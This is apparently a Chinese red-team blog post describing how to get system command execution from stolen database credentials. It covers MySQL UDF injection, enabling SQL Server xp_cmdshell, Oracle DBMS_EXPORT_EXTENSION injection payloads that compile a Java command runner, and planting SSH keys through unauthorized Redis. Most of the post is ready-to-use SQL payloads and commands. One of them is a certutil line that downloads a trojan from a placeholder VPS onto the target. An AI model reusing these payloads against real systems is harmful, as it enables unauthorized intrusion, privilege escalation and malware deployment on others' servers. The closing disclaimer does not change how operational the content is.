hw结束,容我歇几天
在hw时常常能从配置文件中获得一些数据库的账号密码,然后就可以尝试利用数据库运行系统命令达到上线等目的。
✔ 0x01 mysql的udf提权
1.1 前提
1.select @@secure_file_priv
secure_file_priv参数值表示有导入导出权限的路径
为空或为需要操作文件夹的父目录。
如果该参数为空(不是null),则表示可以向任何目录写操作
2.数据库版本不同,udf.dll放置目录不同
version<5.1 c:\windows\system32
version>=5.1 mysql安装目录\lib\plugin
3.注意数据库是32位还是64位,根据位数选择udf的dll(或so)
使用SHOW VARIABLES LIKE '%version%'
查看
4.账户对数据库有插入的权限
1.2 开淦
用MySQL5.1.60
来一遍完整流程,udf函数库的话,linux用so文件就可以了(应该吧):
首先,运行以下三行代码分别获得secure_file_priv、版本信息、安装路径
select @@secure_file_priv;

SHOW VARIABLES LIKE '%version%'; mysql版本和位数

select @@basedir; //mysql安装目录

MySQL5.1.60目录下开始是没有lib\plugin目录的

mysql一般默认是没有lib\plugin目录的(据说安装完整版mysql就会有)
在低版本的mysql中可以使用NTFS流创建lib\plugin目录,具体命令如下:
SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60\\lib::$INDEX_ALLOCATION';SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib\\plugin::$INDEX_ALLOCATION';//运行报Error writing则说明文件夹创建成功//若报Permission denied则说明失败


--tips:mysql5.1.60
版本还能用,版本再高就不一定了,高版本mysql会限制流的使用。
高版本没有lib\plugin目录目前不知道怎么解决,希望有大佬能指点!
利用dumpfile写入udf.dll文件,这里要先把文件转换为16进制数据,用UltraEdit列模式复制出来16进制数据,然后写个小脚本把空格和\n删掉。

脚本大概有这么小:
lines=[]with open("udf.txt", 'r') as file_to_read:while True:line = file_to_read.readline()if not line:breakline = line.strip('\n')line = line.replace(" ","")lines.append(line)with open("new.txt", 'a') as new:for a in lines:new.write(a)
udf.dll可以在msf中获得:
默认为/usr/share/metasploit-framework/data/exploits/mysql
目录

使用dumpfile写入udf.dll:
select unhex('dll文件的16进制编码,不要空格和换行,很长一串') into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin/udf.dll';
写入成功。

使用create function创建自定义函数 sys_eval():
create function sys_eval returns string soname 'udf.all';
可用函数在dll文件中查看:

使用sys_eval()

接下来就可以进行certutil下马之类的操作了。
enjoy it!
✔ 0x02 SQL Server的xp_cmdshell
SQL Server由于有xp_cmdshell操作相对简单
2.1 前提
拥有sa权限账户
2.2 开淦
xp_cmdshell一般默认是关闭的,我们要先把这个模块开启
//要先选择master数据库sp_configure 'show advanced options',1reconfiguregosp_configure 'xp_cmdshell',1reconfigurego
xp_cmdshell还有可能被删除,可以尝试恢复
exec sp_dropextendedproc 'xp_cmdshell' dbcc addextendedproc("xp_cmdshell","xplog70.dll") OR dbcc addextendedproc("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");
开启xp_cmdshell后就可以通过数据库执行系统命令
exec xp_cmdshell 'whoami'//例:可以使用xp_cmdshell进行下马操作,需要在vps上开一个http服务exec xp_cmdshell 'certutil.exe -urlcache -split -f http://vps_ip:vps_port/你的马.exe c:\temp\a.exe';
✔ 0x03 oracle的DBMS_EXPORT_EXTENSION()漏洞
3.1 前提
1.拥有一个有create session权限的账户
2.DBMS_EXPORT_EXTENSION()漏洞存在
DBMS_EXPORT_EXTENSION()中的GET_DOMAIN_INDEX_TABLES()函数是以sys权限定义,当其被低权限用户调用时将会以sys权限执行。
3.2 开淦
数据库为oracle10g的 10.2.0.1
版本。
创建一个低权限用户test


本人不擅长oracle,这里直接使用了redn3ck大佬的payload。
1.创建java代码LinxUtil:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
2.赋予public用户java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建系统命令调用函数LinxRunCMD:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
4.将LinxRunCMD函数执行权限赋予public用户:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.使用:
select sys.LinxRunCMD('whoami') from dual

接下来就是愉快的上线环节。
✔ 0x04 未授权访问redis利用SSH key
实战很少能用,一般遇到的redis权限都比较低,内网较多。
4.1 前提
需要高权限redis账户,能对目标文件夹写入操作。
4.2 开淦
在本地生成rsa密钥对:
1.在/root/.ssh目录运行ssh-keygen -t rsa
命令,然后一直回车,得到rsa密钥对。

2.将公钥id-rsa.pub写入目标机/root/.ssh目录下的authorized_keys文件中:

3.直接在.ssh目录下尝试用rsa文件连接目标机:

成功,开始为所欲为。
可以利用相似的方法写入webshell,前提是知道绝对路径
✔ 0x05 参考
Oracle注入 - 命令执行&Shell反弹
https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?




